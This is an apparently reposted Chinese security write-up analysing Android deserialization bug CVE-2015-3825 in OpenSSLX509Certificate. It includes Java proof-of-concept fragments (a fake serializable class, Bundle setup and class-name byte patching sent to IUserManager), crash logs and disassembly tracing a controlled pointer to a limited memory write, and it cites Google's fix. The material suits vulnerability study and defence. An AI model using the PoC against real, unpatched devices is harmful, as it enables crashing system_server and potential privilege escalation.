OpenSSLX509Certificate反序列化漏洞（CVE-2015-3825）成因分析

wyzsk發表於2020-08-19

作者：阿里移動安全 · 2015/11/09 11:13

0x00 序

序列化 (Serialization)，是將物件的狀態資訊轉換為可以儲存或傳輸的形式的過程。在序列化期間，物件將其當前狀態寫入到臨時或永續性儲存區。使用者可以透過從儲存區中讀取或反序列化物件的狀態，重新建立該物件。

Android也有許多場景使用序列化進行資料傳遞，如App間/內的物件傳遞、Binder通訊的資料傳遞等等，一般涉及跨程式、跨許可權。序列化/反序列也是程式/介面的一個輸入，儲存區的內容或序列是可被隨機填充，如果使用時驗證不完整，也會導致安全漏洞。在Android系統中，可透過序列化/反序列化漏洞實現App拒絕服務、提升許可權等攻擊。

0x01 漏洞成因

這個Android序列化漏洞(CVE-2015-3825)，影響Android4.3及Android5.1版本，也就是Jelly Bean、KitKat、棒棒糖和Android M預覽版1，波及55%的Android裝置。可在受影響的裝置上提權到system許可權，也就意味著攻擊者可以透過替換目標應用的apk接管受害者手機上的任意應用。這個漏洞是由的IBM安全團隊Or Peles和Roee Hay在USENIX 2015大會上的議題《ONE CLASS TO RULE THEM ALL 0-DAY DESERIALIZATION VULNERABILITIES IN ANDROID》【1】。

2.1 PoC構造

Paper作者沒放出Exploit也沒放出PoC，根據這篇paper我們可以知道，漏洞出在OpenSSLX509Certificate（全包名路徑為com.android.org.conscrypt.OpenSSLX509Certificate）類，OpenSSLX509Certificate類滿足：

1）OpenSSLX509Certificate是可序列化的，因為他繼承自可序列化的Certificate類；
2）它有一個finalize()方法，並且有呼叫native的方法（libjavascrypto.so中），引數field mContext，long型（實際為指標型別）；
3）OpenSSLX509Certificate也沒有實現特定的反序列化方法（readObject和readResolve）；

其中mContext就是要找的可被攻擊控制的指標。

我對CVE-2014-7911的POC進行了改造，首先定義類com.android.org.conscrypt.ApenSSLX509Certificate，如下：

#!java
public class ApenSSLX509Certificate implements Serializable {
    //private static final long serialVersionUID = -5454153458060784251L;//android4.4.2 emulator
    private static final long serialVersionUID = -8550350185014308538L;//android 5.1.1 emulator
    public final long mContext;
    ApenSSLX509Certificate(long ctx) {
        mContext = ctx;
    }
}

注意包名為com.android.org.conscrypt，然後在同包名下建立一個MainActivity.java，對ApenSSLX509Certificate進行呼叫：

#!java
com.android.org.conscrypt.ApenSSLX509Certificate evilProxy = new com.android.org.conscrypt.ApenSSLX509Certificate(0x7f7f7f7f7f7f7f7fL);
b.putSerializable("eatthis", evilProxy);

和CVE-2014-7911 PoC一樣，向“android.os.IUserManager”的service傳送請求前，修改類名：

#!java
int l = data.length;
for (int i=0; i<l-4; i++) {
if (data[i] == 'A' && data[i+1] == 'p' && data[i+2] == 'e' && data[i+3] == 'n') {
data[i] = 'O';
break;
    }
}

類似CVE-2014-7911的分析，我們也對service.jar加一些日誌資訊輸出，在Android 4.4.2的AVD中，安裝、執行PoC，我們看到：

E/CVE-2014-7911-trace(1669): setApplicationRestrictions
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::eatthis
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::else
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception::java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[]
W/System.err(1669): java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[]
at com.android.server.pm.UserManagerService.writeApplicationRestrictionsLocked(UserManagerService.java:1417)
at com.android.server.pm.UserManagerService.setApplicationRestrictions(UserManagerService.java:1124)
at android.os.IUserManager$Stub.onTransact(IUserManager.java:245)
W/System.err(1669):     at android.os.Binder.execTransact(Binder.java:404)
W/System.err(1669):     at dalvik.system.NativeStart.run(Native Method)
E/UserManagerService(1669): Error writing application restrictions list

也是強制型別轉換導致異常，與CVE-2014-7911的強制轉換為java.io.Serializable導致的異常不同，因為傳入的object本身不是序列化的物件，致使型別轉換失敗。CVE-2015-3825是將com.android.org.conscrypt.OpenSSLX509Certificate強制轉換為java.lang.String[]而產生的異常。

驗證PoC過程中，在Android 4.4.2 AVD，只觸發了“Error writing application restrictions list”異常，但是GC資源回收沒被觸發。

在Android 5.1.1 AVD，可以透過重複傳送n次的“TRANSACTION_setApplicationRestrictions”請求可以觸發GC回收資源，最後導致system_server的crash:

A/libc(4839): Fatal signal 11 (SIGSEGV), code 1, fault addr 0x7f7f7f8f in tid 4848 (FinalizerDaemon)
I/DEBUG(61): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG(61): Build fingerprint: 'generic/sdk_phone_armv7/generic:5.1/LKY45/1737576:eng/test-keys'
I/DEBUG(61): Revision: '0'
I/DEBUG(61): ABI: 'arm'
I/DEBUG(61): pid: 4839, tid: 4848, name: FinalizerDaemon  >>> system_server <<<
I/DEBUG(61): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7f7f7f8f
I/DEBUG(61):     r0 00000000  r1 0000000c  r2 00000000  r3 00000000
I/DEBUG(61):     r4 b6c9766f  r5 00000003  r6 ffffffff  r7 7f7f7f8f
I/DEBUG(61):     r8 00000075  r9 b6c24ac9  sl a78fbaa4  fp 13068980
I/DEBUG(61):     ip 00000001  sp a78fba58  lr b6c3da1d  pc b6c3da1c  cpsr 60000030
I/DEBUG(61): backtrace:
I/DEBUG(61):     #00 pc 00072a1c  /system/lib/libcrypto.so (CRYPTO_add_lock+59)
I/DEBUG(61):     #01 pc 000579b1  /system/lib/libcrypto.so (asn1_do_lock+68)
I/DEBUG(61):     #02 pc 0005646f  /system/lib/libcrypto.so
09-06 20:31:31.394: I/DEBUG(61):     #03 pc 00056415  /system/lib/libcrypto.so (ASN1_item_free+12)
09-06 20:31:31.395: I/DEBUG(61):     #04 pc 00017c0d  [email protected]@boot.oat
09-06 20:32:09.116: I/art(5663): Background sticky concurrent mark sweep GC freed 7340(386KB) AllocSpace objects, 0(0B) LOS objects, 45% free, 603KB/1117KB, paused 887us total 513.880ms
09-06 20:32:22.682: I/DEBUG(61): Tombstone written to: /data/tombstones/tombstone_01

2.2 異常分析

這裡基於Android 5.1.1 AVD上的分析。

上面說到，“TRANSACTION_setApplicationRestrictions”請求發出後，導致一個異常，然後GC回收資源。

從原始碼分析，GC呼叫OpenSSLX509Certificate. finalize():

@Override
protected void finalize() throws Throwable {
    try {
        if (mContext != 0) {
            NativeCrypto.X509_free(mContext);
        }
    } finally {
        super.finalize();
    }
}

然後呼叫NativeCrypto.X509_free()方法，該方法在NativeCrypto.java定義如下：

public static native void X509_free(long x509ctx);

最終是在libjavacrypto.so中實現的，該函式定義在org_conscrypt_NativeCrypto.cpp檔案中：

static void NativeCrypto_X509_free(JNIEnv* env, jclass, jlong x509Ref) {
    X509* x509 = reinterpret_cast<X509*>(static_cast<uintptr_t>(x509Ref));
    JNI_TRACE("X509_free(%p)", x509);
    if (x509 == NULL) {
        jniThrowNullPointerException(env, "x509 == null");
        JNI_TRACE("X509_free(%p) => x509 == null", x509);
        return;
    }
    X509_free(x509);
}

NativeCrypto_X509_free函式最後呼叫的X509_free是OpenSSL庫提供的介面，關於如何找到該函式實現請參考附錄一。

根據上面分析得到資訊，在動態除錯時，我們在libjavacrypto.so:: NativeCrypto_X509_free函式中下斷，

.text:00008C1C sub_8C1C                                ; DATA XREF: .data:000175ACo
.text:00008C1C                 CBNZ            R2, loc_8C26
.text:00008C1E                 LDR             R1, =(aX509Null - 0x8C24)
.text:00008C20                 ADD             R1, PC  ; "x509 == null"
.text:00008C22                 B.W             j_j_j_jniThrowNullPointerException
.text:00008C26
.text:00008C26 loc_8C26                                ; CODE XREF: sub_8C1Cj
.text:00008C26                 MOV             R0, R2
.text:00008C28                 B.W             j_j_X509_free
.text:00008C28 ; End of function sub_8C1C

下斷點後，有時會碰到單步執行異常，筆者使用的一個辦法供參考：設定該lib庫的所有記憶體節屬性為可寫的。

在j_j_X509_free中單步步入，到libcrypto.so: ASN1_item_free函式，

.text:00056408                 EXPORT ASN1_item_free
.text:00056408 ASN1_item_free                          ; CODE XREF: j_ASN1_item_free+8j
.text:00056408                                         ; DATA XREF: .got:ASN1_item_free_ptro
.text:00056408
.text:00056408 var_C           = -0xC
.text:00056408
.text:00056408                 PUSH.W          {R11,LR}
.text:0005640C                 SUB             SP, SP, #8
.text:0005640E                 STR             R0, [SP,#0x10+var_C]
.text:00056410                 ADD             R0, SP, #0x10+var_C
.text:00056412                 MOVS            R2, #0
.text:00056414                 BL              sub_56420 
.text:00056418                 ADD             SP, SP, #8
.text:0005641A                 POP.W           {R11,PC}
.text:0005641A ; End of function ASN1_item_free

sub_56420即為asn1_item_combine_free函式，定義為：

static void asn1_item_combine_free(ASN1_VALUE **pval, const ASN1_ITEM *it, int combine)

我們繼續分析這個函式，

.text:00056420 sub_56420                               ; CODE XREF: ASN1_item_free+Cp
.text:00056420                                         ; ASN1_item_ex_free+2j ...
.text:00056420                 PUSH.W          {R4-R10,LR}
.text:00056424                 MOV             R10, R0 ; R0: pval, &mContext;
.text:00056426                 MOV             R8, R2  ; R1: combine, int;
.text:00056428                 MOV             R5, R1  ; R1: it, ASN1_ITEM;
.text:00056428                                         ; libcrypto.so:X509_NAME_TYPE_it
.text:0005642A                 CMP.W           R10, #0 ; if (!pval) return;
.text:0005642E                 BEQ.W           def_5645A ; jumptable 0005645A default case
.text:00056432                 LDRB            R1, [R5] ; R1 <- it->itype;
.text:00056434                 LDR             R0, [R5,#0x10] ; R0 <- aux = it->funcs;
.text:00056436                 CBZ             R1, loc_56442 ; #define ASN1_ITYPE_PRIMITIVE 0x0
.text:00056438                 LDR.W           R2, [R10] ; !*pval
.text:0005643C                 CMP             R2, #0
.text:0005643E                 BEQ.W           def_5645A ; jumptable 0005645A default case

如分號後的備註所寫，這段程式碼將初始相關變數：將&mContext存入R10，combine存入R2，it存入R5，然後驗證引數的合法性。程式碼繼續，獲取aux->asn1_cb存入R9中：

.text:00056442 loc_56442                               ; CODE XREF: sub_56420+16j
.text:00056442                 CMP             R0, #0
.text:00056444                 ITT NE
.text:00056446                 LDRNE.W         R9, [R0,#0x10] ; R9: asn1_cb = aux->asn1_cb;
.text:0005644A                 CMPNE.W         R9, #0
.text:0005644E                 BNE             loc_56454 ; switch(it->itype)
.text:00056450                 MOV.W           R9, #0

繼續，接下來呼叫asn1_do_lock函式：

.text:00056466                 MOV             R0, R10 ; jumptable 0005645A cases 1,6
.text:00056468                 MOV.W           R1, #0xFFFFFFFF ; 傳入-1
.text:0005646C                 MOV             R2, R5  ; it
.text:0005646E                 BLX             j_asn1_do_lock ; int asn1_do_lock(ASN1_VALUE **pval, int op, const ASN1_ITEM *it)
.text:0005646E                                         ; 走到這了，crash在這個函式
.text:00056472                 CMP             R0, #0  
.text:00056474                 BGT             def_5645A ; jumptable 0005645A default case

此時整理asn1_do_lock函式呼叫時引數：R0是上面R10儲存的&mContext，R1為-1，R2為上面R5儲存的it。下面進入asn1_do_lock函式繼續分析，取出it->funcs放入R2：

.text:00057984                 LDR             R2, [R2,#0x10] ; aux = it->funcs;
.text:00057986                 CMP             R2, #0

再取it->funcs即aux的ref_offset放入R3中，然後計算(char*)mContext+auw->ref_offset的存入R12：

.text:00057992                 LDR             R3, [R2,#8] ; aux->ref_offset
.text:00057994                 CMP             R1, #0
.text:00057996                 LDR             R0, [R0] ; R0 = &mContext
.text:00057998                 ADD.W           R12, R0, R3 ; lck = offset2ptr(*pval, aux->ref_offset);
.text:0005799C                 BEQ             loc_579B6

接下來是呼叫CRYPTO_add_lock函式：

.text:000579A2                 MOVS            R0, #0x75
.text:000579A4                 LDR             R3, =(aExternalOpe_43 - 0xFA1D8)
.text:000579A6                 ADD             LR, PC ; _GLOBAL_OFFSET_TABLE_
.text:000579A8                 LDR             R2, [R2,#0xC] ; aux->ref_lock
.text:000579AA                 ADD             R3, LR  ; "external/openssl/crypto/asn1/tasn_utl.c"
.text:000579AC                 STR             R0, [SP,#0x10+var_10] ; line: 0x75 -> 117
.text:000579AE                 MOV             R0, R12
.text:000579B0                 BLX             j_CRYPTO_add_lock ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line)

進一步分析CRYPTO_add_lock函式，讀取R7地址的內容再加R1（R1＝-1，這裡也就是減1操作），然後再存入R1地址中：

.text:000729E0 ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line)
.text:000729E0                 EXPORT CRYPTO_add_lock
.text:000729E0 CRYPTO_add_lock                         ; CODE XREF: j_CRYPTO_add_lock+8j
.text:000729E4                 MOV             R7, R0  ; R7 = (char*)mContext+auw->ref_offset
... ...
.text:000729E8                 MOV             R6, R1  ; R1 = -1
… …
.text:00072A1C                 LDR             R0, [R7] ; Crash在這，此時R7為0x7F7F7F8F
.text:00072A24                 ADD             R6, R0
… …
.text:00072A28                 STR             R6, [R7] ; 如果R7指向的記憶體為寫的，這裡可以實現任意寫

除錯時aux->ref_offset的值為0x10，參考x509_st結構，我們猜測(char*)mContext+0x10為mContext-> references，用記錄物件引用次數，管理記憶體的引用。再看原始碼tasn_fre.c (external/openssl/crypto/asn1/)【4]的asn1_item_combine_free方法：

case ASN1_ITYPE_SEQUENCE:
if (asn1_do_lock(pval, -1, it) > 0)
    return;
if (asn1_cb)
    {
    i = asn1_cb(ASN1_OP_FREE_PRE, pval, it, NULL);
    if (i == 2)
        return;
    }

當asn1_do_lock返回為0，即mContext-> references為0時，才呼叫asn1_cb函式釋放資源。

繼續CRYPTO_add_lock的反彙編程式碼分析，由於我們在Java層傳入的是一個非法地址0x7f7f7f7f，所以導到記憶體寫異常。

Google的修復方法【2】是給mContext成員新增transient修飾符，使其不被序列化。

0x03 總結

在物件序列化時，指標成員的序列化較易存在安全風險，如CVE-2014-7911中的mOrgue，CVE-2015-3825中的mContext。本漏洞（CVE-2015-3825）中由於mContext是可序列化的，而它指向的又是X509結構的指標，當傳入的序列化物件在反序列化產生異常時，系統呼叫GC回收資源，即mContext->references減1，這裡mContext是可控制的，便可導致有限制的記憶體任意寫（多次減1）漏洞。

0x04 參考

【1】 https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf
【2】 https://android.googlesource.com/platform/external/conscrypt/+/edf7055461e2d7fa18de5196dca80896a56e3540
【3】 https://github.com/Purity-Lollipop/platform_external_conscrypt/commit/edf7055461e2d7fa18de5196dca80896a56e3540
【4】 https://android.googlesource.com/platform/external/openssl/+/android-5.1.1_r13/crypto/asn1/tasn_fre.c

0x05 附錄

5.1 如何找到那個叫X509_free的函式

在OpenSSL程式碼中怎麼搜X509_free也搜尋不到真正的程式碼實現，這是因為OpenSSL中用了一堆宏、宏巢狀定義部分函式、結構，X509_free就在其中一個。細細看程式碼才發現X509_free是在crypto/asn1/x_x509.c檔案中由IMPLEMENT_ASN1_FUNCTIONS定義的：

IMPLEMENT_ASN1_FUNCTIONS(X509)

順藤摸瓜找出下面幾個巢狀的宏：

# define IMPLEMENT_ASN1_FUNCTIONS_fname(stname, itname, fname) \
        IMPLEMENT_ASN1_ENCODE_FUNCTIONS_fname(stname, itname, fname) \
        IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname)    

# define IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname) \
        stname *fname##_new(void) \
        { \
                return (stname *)ASN1_item_new(ASN1_ITEM_rptr(itname)); \
        } \
        void fname##_free(stname *a) \
        { \
                ASN1_item_free((ASN1_VALUE *)a, ASN1_ITEM_rptr(itname)); \
        }
    #define ASN1_ITEM_rptr(ref) (&(ref##_it))

對映到X509的定義，可以翻譯如下：

X509 * X509_new(void) \
        { \
                return (X509 *)ASN1_item_new(&X509_it); \
        } \
        void X509_free(X509 *a) \
        { \
                ASN1_item_free((ASN1_VALUE *)a, &X509_it)); \
        }

本文章來源於烏雲知識庫，此映象為了方便大家學習研究，文章版權歸烏雲知識庫！

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